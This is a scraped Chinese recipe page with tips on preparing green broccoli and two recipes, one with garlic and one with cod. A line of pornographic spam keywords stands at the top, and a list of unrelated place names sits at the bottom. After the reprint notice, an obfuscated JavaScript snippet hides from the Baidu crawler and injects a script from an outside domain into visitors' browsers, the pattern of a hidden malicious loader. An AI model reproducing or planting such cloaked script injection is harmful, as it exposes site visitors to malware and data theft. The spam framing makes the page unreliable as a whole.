亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

綠花菜的做法 綠花菜怎么做?

2016-06-25 07:16:13  來源:360常識網(wǎng)   熱度:
導語:吃的時候要多嚼幾次,這樣才更有利于營養(yǎng)的吸收;綠花菜焯水后,應放入涼開水內(nèi)過涼,撈出瀝凈水再用,燒煮和加鹽時間也不宜過長,才不致喪失和破壞防癌抗癌的營養(yǎng)成分。

綠花菜的做法 綠花菜怎么做?

綠花菜的做法 綠花菜怎么做?

吃綠花菜的禁忌

1、菜花雖然營養(yǎng)豐富,但常有殘留的農(nóng)藥,還容易生菜蟲,所以在吃之前,可將菜花放在鹽水里浸泡幾分鐘,菜蟲就跑出來了,還可有助于去除殘留農(nóng)藥;

2、綠花菜品質(zhì)柔嫩,纖維少,水分多,風味比花椰菜更鮮美。綠花菜主要供西餐配菜或做色拉;

3、綠花菜煮后顏色會變的更加鮮艷,但要注意的是,在燙綠花菜時,時間不宜太長,否則失去脆感,拌出的菜也會大打折扣;

4、吃的時候要多嚼幾次,這樣才更有利于營養(yǎng)的吸收;

5、綠花菜焯水后,應放入涼開水內(nèi)過涼,撈出瀝凈水再用,燒煮和加鹽時間也不宜過長,才不致喪失和破壞防癌抗癌的營養(yǎng)成分。

綠花菜炒大蒜的做法

原料:綠花菜400g,大蒜15g。

調(diào)料:淀粉5g,鹽2g,雞精5g,水90ml。

做法:

1、把綠花菜洗凈,適當切塊,放到沸水里燙熟,撈出裝盤待用。

2、大蒜洗凈包好,制成蒜蓉,用水、淀粉、鹽、雞精調(diào)成水淀粉備用。

3、干凈的炒鍋中,放入已經(jīng)調(diào)好的淀粉水,文火輕輕攪拌到透明狀。

4、撒下蒜蓉立即關(guān)火出鍋,淋在已經(jīng)裝盤擺好的綠花菜上就完成了。

綠花菜豆酥鱈魚的做法

原料:鱈魚1大片、綠花菜、姜、蒜。

調(diào)料:豆豉、鹽、味精、料酒、糖、胡椒粉、色拉油。

做法:

1、鱈魚用適量鹽和料酒腌一下,然后上籠蒸8—10分鐘,取出待用。

2、鍋內(nèi)放油,下入蔥末、姜末和搗碎的豆豉炒香,再用鹽、味精、胡椒粉調(diào)味,待豆豉炒酥后澆到加工好的鱈魚上。

3、綠花菜用鹽水焯熟,碼在鱈魚周圍即成。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
昌图县| 依兰县| 台东市| 奉贤区| 高平市| 溆浦县| 扎囊县| 南平市| 桃园市| 鱼台县| 宣武区| 南木林县| 福建省| 拉萨市| 奉化市| 堆龙德庆县| 托里县| 五河县| 珠海市| 邮箱| 河间市| 东阿县| 万山特区| 沧州市| 乐亭县| 通州市| 黄梅县| 建水县| 东乡族自治县| 伽师县| 顺义区| 西盟| 准格尔旗| 龙岩市| 新巴尔虎左旗| 平邑县| 江津市| 普定县| 德州市| 阿鲁科尔沁旗| 宜阳县|